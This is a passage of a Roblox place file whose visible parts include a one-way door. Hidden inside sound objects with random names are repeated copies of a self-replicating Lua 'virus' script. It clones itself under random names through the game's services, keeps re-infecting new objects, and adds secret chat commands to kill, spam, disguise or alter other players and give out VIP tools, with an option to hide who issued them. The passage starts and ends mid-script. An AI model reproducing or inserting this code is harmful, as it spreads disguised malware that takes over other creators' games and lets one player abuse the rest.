if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX300">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">11</int>
						<CoordinateFrame name="CFrame">
							<X>19.5</X>
							<Y>61.9000015</Y>
							<Z>114.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">OneWayDoor</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.100000001</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>75</X>
							<Y>123</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX301">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">PushPack</string>
							<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX302">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2xdje</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX303">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ugwdq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX304">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wcn84mi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX305">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">b9gch</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
